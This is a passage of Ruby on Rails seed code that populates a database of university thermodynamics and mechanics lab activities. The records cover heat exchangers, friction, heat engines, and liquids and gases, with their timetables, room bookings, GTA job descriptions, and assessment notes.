series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"See RW\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a199.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a199.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a199.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a199.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a199.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a200 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"510\").first_or_create!(name: \"Cross Flow Heat Transfer\",\n name_abrv: \"CROSSFHT\", archived: false, in_drive: false, user_id: 4)\n at200 = ActivityTimetable.where(activity_id: a200.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at200.id, room_id: $room_fl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a200.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a200.id).first_or_create!(criteria: \"Expertise in heat transfer desirable.\",\n job_desc:\"Measuring convective heat transfer in an external flow using dimensionless numbers.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a200.id).first_or_create!(assess_weight: nil, notes: \"Not assessed 18/19\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a200.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a200.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a201 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"510\").first_or_create!(name: \"Cross Flow Heat Transfer\",\n name_abrv: \"CROSSFHT\", archived: false, in_drive: false, user_id: 3)\n at201 = ActivityTimetable.where(activity_id: a201.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a201.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a201.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a201.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a201.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a201.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a202 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"511\").first_or_create!(name: \"Diffusers\",\n name_abrv: \"DIFFUSERS\", archived: false, in_drive: false, user_id: 5)\n at202 = ActivityTimetable.where(activity_id: a202.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at202.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a202.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j42pak3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a202.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a202.id).first_or_create!(assess_weight: nil, notes: \"Not assessed MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a202.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a202.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a203 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 5)\n at203 = ActivityTimetable.where(activity_id: a203.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a203.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a203.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a203.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a203.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a203.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a204 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR134\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 1)\n at204 = ActivityTimetable.where(activity_id: a204.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a204.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a204.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a204.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a204.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a204.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a205 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"513\").first_or_create!(name: \"Heat engines 1\",\n name_abrv: \"HEATENG1\", archived: false, in_drive: false, user_id: 2)\n at205 = ActivityTimetable.where(activity_id: a205.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a205.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a205.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a205.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a205.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a205.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a206 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR195\").first.id, code: \"513\").first_or_create!(name: \"Heat engines 1\",\n name_abrv: \"HEATENG1\", archived: false, in_drive: false, user_id: 2)\n at206 = ActivityTimetable.where(activity_id: a206.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a206.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a206.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a206.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a206.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a206.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a207 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"514\").first_or_create!(name: \"Heat engines 2\",\n name_abrv: \"HEATENG2\", archived: false, in_drive: false, user_id: 4)\n at207 = ActivityTimetable.where(activity_id: a207.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a207.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a207.id).first_or_create!(criteria: \"\",\n job_desc:\"Straightforward demonstration of open and closed heat engines systems\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a207.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a207.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a207.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a208 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 1)\n at208 = ActivityTimetable.where(activity_id: a208.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a208.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"link\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a208.id).first_or_create!(criteria: \"\",\n job_desc:\"First year application of heat exchangers.\n Fun simple lab that the students generally get.\n I think its fun, not asked anyone else.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 20.0)\n ActivityAssess.where(activity_id: a208.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a208.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a208.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a209 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR195\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 4)\n at209 = ActivityTimetable.where(activity_id: a209.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a209.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a209.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a209.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a209.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a209.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a210 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 1)\n at210 = ActivityTimetable.where(activity_id: a210.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a210.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a210.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a210.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a210.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a210.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a211 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER293\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 1)\n at211 = ActivityTimetable.where(activity_id: a211.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a211.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a211.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a211.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a211.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a211.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a212 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 4)\n at212 = ActivityTimetable.where(activity_id: a212.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a212.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a212.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a212.id).first_or_create!(assess_weight: 5.0, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a212.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a212.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a213 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 3)\n at213 = ActivityTimetable.where(activity_id: a213.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a213.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a213.id).first_or_create!(criteria: \"\",\n job_desc:\"First year application of heat exchangers.\n Fun simple lab that the students generally get.\n I think its fun, not asked anyone else.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a213.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a213.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a213.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a214 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 3)\n at214 = ActivityTimetable.where(activity_id: a214.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a214.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a214.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a214.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a214.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a214.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a215 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"517\").first_or_create!(name: \"Inertia\",\n name_abrv: \"INERTIA\", archived: false, in_drive: false, user_id: 2)\n at215 = ActivityTimetable.where(activity_id: a215.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a215.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a215.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring torque and acceleration using LabVIEW and motor apparatus to calculate inertia of a flywheel - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a215.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a215.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a215.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a216 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 2)\n at216 = ActivityTimetable.where(activity_id: a216.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a216.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jktbdqt\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a216.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a216.id).first_or_create!(assess_weight: 2.5, notes: \"Post lab quiz preferred or short assignment. Previously, the assignment has consisted of a number of questions.\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a216.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a216.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a217 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 3)\n at217 = ActivityTimetable.where(activity_id: a217.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a217.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a217.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a217.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a217.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a217.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a218 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 5)\n at218 = ActivityTimetable.where(activity_id: a218.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a218.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a218.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the 